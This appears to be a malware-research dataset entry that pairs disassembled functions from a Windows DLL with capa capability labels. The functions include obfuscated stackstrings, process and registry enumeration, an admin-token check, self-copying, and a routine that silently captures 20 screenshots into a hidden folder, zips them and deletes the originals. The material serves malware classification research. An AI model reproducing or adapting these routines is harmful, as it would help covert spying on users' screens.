joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d0f0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x1001d270
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1001d18d
test cl, cl
je 0x1001d189
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1001d18d
add eax, 2
add esi, 2
test cl, cl
jne 0x1001d169
xor eax, eax
jmp 0x1001d192
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1001d24c
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x1001d1b9
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100ff5dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x1001d160
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.1001d070
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x1001d2ac
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x1001d6f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x548
push ebx
push esi
push edi
xor bl, bl
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x155]
mov byte [esp + 0x154], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov al, 0x53
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1f], al
mov eax, dword [esp + 0x558]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x158]
push ecx
push edx
mov byte [esp + 0x25], 0x59
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x63
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
call esi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov cl, 0x25
mov dl, 0x32
stosb byte es:[edi], al
mov byte [esp + 0x28], cl
mov al, 0x64
mov byte [esp + 0x2c], cl
mov byte [esp + 0x31], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0x3b], cl
mov ecx, dword [esp + 0x4a]
mov byte [esp + 0x2e], dl
mov byte [esp + 0x33], dl
mov byte [esp + 0x38], dl
mov byte [esp + 0x3d], dl
mov edx, dword [esp + 0x48]
mov byte [esp + 0x2a], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x34], al
mov byte [esp + 0x39], al
mov byte [esp + 0x3e], al
mov eax, dword [esp + 0x46]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
mov byte [esp + 0x31], 0x34
mov byte [esp + 0x33], 0x2d
mov byte [esp + 0x35], 0x2e
mov byte [esp + 0x38], 0x2d
mov byte [esp + 0x3a], 0x2e
mov byte [esp + 0x3d], 0x20
mov byte [esp + 0x3f], 0x2e
mov byte [esp + 0x42], 0x3a
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x47], bl
push eax
mov ecx, dword [esp + 0x4e]
mov edx, dword [esp + 0x4c]
and ecx, 0xffff
and edx, 0xffff
push ecx
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x64]
push eax
push ecx
call esi
lea edi, [esp + 0x6c]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x70]
push ecx
push edx
lea eax, [esp + 0x34]
push 1
lea ecx, [esp + 0x180]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x44], 0x4d
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6b
mov byte [esp + 0x48], 0x54
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x6d
mov byte [esp + 0x4b], 0x65
mov byte [esp + 0x4c], bl
call fcn.10017030
add esp, 0x38
pop edi
pop esi
pop ebx
add esp, 0x548
ret
Function at 0x1001e4b0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x1013140c]
sub esp, 0xa30
test eax, eax
jne 0x1001e673
push 0
push 0x101326e8
call fcn.1005fb50
and eax, 1
xor ecx, ecx
add esp, 8
or eax, ecx
jne 0x1001e50a
mov eax, dword [str.QAssist]
push eax
call fcn.1001db60
push 0
push 0x101326e8
call fcn.1005fb50
and eax, 1
xor ecx, ecx
add esp, 0xc
or eax, ecx
jne 0x1001e50a
or eax, 0xffffffff
add esp, 0xa30
ret 4
lea ecx, [esp + 8]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x101326e8]
lea edx, [esp]
push edx
push 1
lea eax, [esp + 0x10]
push 0
push eax
push ecx
call fcn.10060280
mov eax, dword [0x101326e8]
lea edx, [esp + 0x1c]
push 0x101326f0
push edx
push eax
call fcn.100601b0
mov eax, dword [0x10131414]
add esp, 0x20
test eax, eax
je 0x1001e58d
push 0x1013186c
lea ecx, [esp + 0x82c]
push str.SYSTEMCurrentControlSetServices_S
push ecx
call dword [sym.imp.MSVCRT.dll_swprintf]
mov ecx, dword [0x101326e8]
lea edx, [esp + 0xc]
lea eax, [esp + 0x834]
push edx
push eax
push 1
push ecx
call fcn.10060160
add esp, 0x1c
mov ecx, dword [0x101326e8]
push esi
lea edx, [esp + 4]
push edi
push edx
push 1
lea eax, [esp + 0x18]
push 0
push eax
push ecx
call fcn.10060220
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
add esp, 0x14
lea edx, [esp + 0x218]
push 0x104
push edx
call esi
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [esp + 0x218]
push str.lsass.exe
push eax
call edi
mov eax, dword [0x101326e8]
lea ecx, [esp + 0x10]
push ecx
push 1
lea edx, [esp + 0x228]
push 0
push edx
push eax
call fcn.10060220
add esp, 0x1c
lea ecx, [esp + 0x628]
push 0x104
push ecx
call esi
lea edx, [esp + 0x628]
push str.lsm.exe
push edx
call edi
mov edx, dword [0x101326e8]
lea eax, [esp + 0x10]
push eax
push 1
lea ecx, [esp + 0x638]
push 0
push ecx
push edx
call fcn.10060220
add esp, 0x1c
lea eax, [esp + 0x420]
push 0x104
push eax
call esi
lea ecx, [esp + 0x420]
push str._audiodg.exe
push ecx
call edi
mov ecx, dword [0x101326e8]
lea edx, [esp + 0x10]
push edx
push 1
lea eax, [esp + 0x430]
push 0
push eax
push ecx
call fcn.10060220
add esp, 0x1c
pop edi
pop esi
xor eax, eax
add esp, 0xa30
ret 4
Function at 0x10020620
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10020663
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push SysReAllocString
call ebp
test eax, eax
je 0x1002068e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push SysReAllocString
call ebp
test eax, eax
je 0x1002070b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x101001e0
push edx
call esi
add esp, 8
test eax, eax
jne 0x10020788
lea eax, [esp + 0x6c]
push 0x101001dc
push eax
call esi
add esp, 8
test eax, eax
jne 0x10020788
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x100ff5dc
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10020797
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x100207bf
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x100208c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x22c
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x240]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x138]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.USER32.dll_CharLowerBuffA]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x104
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x13c]
push ecx
call ebp
push 0
push 2
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x1002093d
push str.CreateToolhelp32Snapshot__
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x22c
ret
lea edx, [esp + 0x10]
push edx
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100209a3
lea eax, [esp + 0x34]
push 0x104
push eax
call ebp
lea esi, [esp + 0x138]
lea eax, [esp + 0x34]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1002098b
test cl, cl
je 0x10020987
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1002098b
add eax, 2
add esi, 2
test cl, cl
jne 0x10020963
xor eax, eax
jmp 0x10020990
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100209b7
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002094c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x22c
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x22c
ret
Function at 0x10021a90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x148
mov al, 0x50
push ebx
mov byte [esp + 9], al
mov byte [esp + 0x20], al
mov al, 0x73
push ebp
mov byte [esp + 0x2f], al
mov byte [esp + 0x31], al
push esi
lea eax, [esp + 0x28]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x4c
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x68
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call fcn.1001d6c0
mov ebp, eax
mov al, 0x72
mov byte [esp + 0x45], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x51], al
lea edx, [esp + 0x44]
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x30], 0x45
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x5a], 0x79
mov byte [esp + 0x5b], 0x41
mov byte [esp + 0x5c], 0
call fcn.1001d6c0
add esp, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0x54], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x15c]
mov ecx, dword [0x101318d4]
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call fcn.100130f0
mov edi, eax
xor esi, esi
test edi, edi
jbe 0x10021c41
cmp byte [esi + ebx], 0x5c
jne 0x10021c3c
push esi
lea ecx, [esp + 0x58]
push ebx
push ecx
mov ecx, dword [0x101318d4]
call fcn.10013060
lea edx, [esp + 0x54]
push edx
call ebp
test eax, eax
jne 0x10021c3c
push eax
lea eax, [esp + 0x58]
push eax
call dword [esp + 0x58]
inc esi
cmp esi, edi
jb 0x10021c0f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret
Function at 0x10023e20
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10023e86
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret

Function at 0x10023e90
Capabilities:
Copy file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10023eb3
add esp, 0x104
ret
mov ecx, dword [esp + 0x108]
push 0
lea edx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x104
ret
Function at 0x10024620
Capabilities:
Capture screenshot

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebp, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push esi
mov edi, eax
call ebp
push 0xa
push esi
mov ebx, eax
call ebp
mov ebp, eax
push ebp
push ebx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push edi
mov dword [esp + 0x1c], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push esi
push ebp
push ebx
push 0
push 0
push edi
mov dword [esp + 0x34], eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x10]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x100246b0
Capabilities:
Check if file exists
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x15c
lea eax, [esp + 0x44]
push ebx
push ebp
push esi
push edi
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
je 0x1002488a
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x20], eax
mov edx, ecx
lea eax, [eax + eax*2]
xor ebx, ebx
neg edx
lea eax, [eax*8 + 0x1f]
mov dword [esp + 0x24], edx
cdq
and edx, 0x1f
mov dword [esp + 0x1c], 0x28
add eax, edx
mov word [esp + 0x28], 1
sar eax, 5
imul eax, ecx
shl eax, 2
push eax
mov word [esp + 0x2e], 0x18
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1002488a
push ebx
call dword [sym.imp.USER32.dll_GetDC]
mov ebp, eax
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esp + 0x170]
mov esi, eax
push ecx
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esp + 0x170]
lea edx, [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x5c]
push ebx
push edx
push edi
push eax
push ebx
push ecx
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
mov edx, dword [esp + 0x18]
test eax, eax
push edx
push esi
setne byte [esp + 0x1b]
call dword [sym.imp.GDI32.dll_SelectObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push ebp
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp byte [esp + 0x13], bl
je 0x10024880
mov ebp, dword [esp + 0x174]
push ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10024880
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10024818
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebp
push str.Failed_to_create_file:__s_nError_Code:__lu
lea eax, [esp + 0x78]
push 0x100
push eax
call fcn.10024600
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x18
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
mov ecx, dword [esp + 0x30]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0x14]
push ebx
push edx
lea eax, [esp + 0x4c]
push 0xe
add ecx, 0x36
push eax
push esi
mov dword [esp + 0x62], 0x36
mov dword [esp + 0x5a], ecx
mov word [esp + 0x58], 0x4d42
call ebp
test eax, eax
jne 0x1002484f
push esi
jmp 0x1002487a
lea ecx, [esp + 0x14]
push ebx
push ecx
lea edx, [esp + 0x24]
push 0x28
push edx
push esi
call ebp
test eax, eax
jne 0x10024866
push esi
jmp 0x1002487a
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x14]
push ebx
push eax
push ecx
push edi
push esi
call ebp
test eax, eax
push esi
jne 0x10024897
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x15c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
Function at 0x10024c60
Capabilities:
Delete file

Disassembly:
sub esp, 0x124
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 8]
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x12c]
lea ecx, [esp + 0x24]
push eax
push 0x104
push ecx
call fcn.10024c10
add esp, 0xc
test eax, eax
je 0x10024ca6
xor al, al
pop edi
add esp, 0x124
ret
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 8], 3
mov dword [esp + 0xc], edx
mov word [esp + 0x14], 0x14
mov byte [esp + ecx + 0x25], al
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
test eax, eax
jne 0x10024cf3
mov eax, dword [esp + 0x16]
test eax, eax
jne 0x10024cf3
mov eax, 1
pop edi
add esp, 0x124
ret
xor eax, eax
pop edi
add esp, 0x124
ret

Function at 0x10024d00
Capabilities:
Create directory
Set file attributes

Disassembly:
sub esp, 0x310
push 0
call dword [sym.imp.MSVCRT.dll_time]
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.MSVCRT.dll_localtime]
push eax
push str.C:UsersPublicDownloads_Y_m_d_H_M_S
lea ecx, [esp + 0x14]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll_strftime]
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.MSVCRT.dll__mkdir]
add esp, 0x1c
test eax, eax
je 0x10024d51
mov eax, 1
add esp, 0x310
ret
lea eax, [esp + 4]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x10024d6e
mov eax, 1
add esp, 0x310
ret
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll__snprintf]
push esi
push edi
xor ebx, ebx
call fcn.10024620
mov esi, eax
test esi, esi
je 0x10024dd6
lea ecx, [ebx + 1]
lea edx, [esp + 0x14]
push ecx
push edx
push str._s_02d.bmp
lea eax, [esp + 0x124]
push 0x104
push eax
call ebp
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x104
jae 0x10024de1
lea ecx, [esp + 0x118]
push ecx
push esi
call fcn.100246b0
add esp, 8
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x10024d7a
lea edx, [esp + 0x14]
lea eax, [esp + 0x21c]
push edx
push str._s.zip
push 0x104
push eax
call ebp
lea ecx, [esp + 0x22c]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.100248c0
add esp, 0x18
test al, al
pop edi
pop esi
pop ebp
pop ebx
je 0x10024e35
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 4]
push eax
call fcn.10024c60
add esp, 4
xor eax, eax
add esp, 0x310
ret